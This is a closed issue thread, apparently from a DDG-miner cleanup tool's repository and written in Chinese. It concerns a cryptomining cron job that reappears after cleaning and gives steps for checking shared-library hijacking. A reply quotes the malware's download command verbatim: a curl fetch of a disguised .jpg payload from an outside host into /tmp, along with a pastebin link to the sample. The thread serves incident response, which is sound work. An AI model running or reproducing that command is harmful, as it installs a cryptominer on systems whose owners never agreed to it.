清理过后几分钟后 crontab -l 仍然出现 下载挖矿程序任务 about ddg_malware_clean_tool HOT 2 CLOSED

crontab内容变更说明恶意样本已经产生新变种，参考恶意样本地址https://pastebin.com/raw/D8E71JBJ中
curl -fsSL http://sowcar.com/t6/685/1552846083x2890149871.jpg -o /tmp/kpsmouseds 可以看到恶意样本守护进程名称变成了kpsmouseds，其他变化需要逆向等进行进一步分析。

判断so劫持，可以参考如下步骤（仅供参考，未作实际验证）：
chattr -i /etc/ld.so.preload
busybox cat /etc/ld.so.preload # 查看so库劫持，so文件路径及名称。另so劫持也可能在/etc/ld.so/conf/目录下
ldd `which ps` # 查看可能的so库
ldd `which rm`

from ddg_malware_clean_tool.

谢谢,研究了一下，发现只是换名字了

from ddg_malware_clean_tool.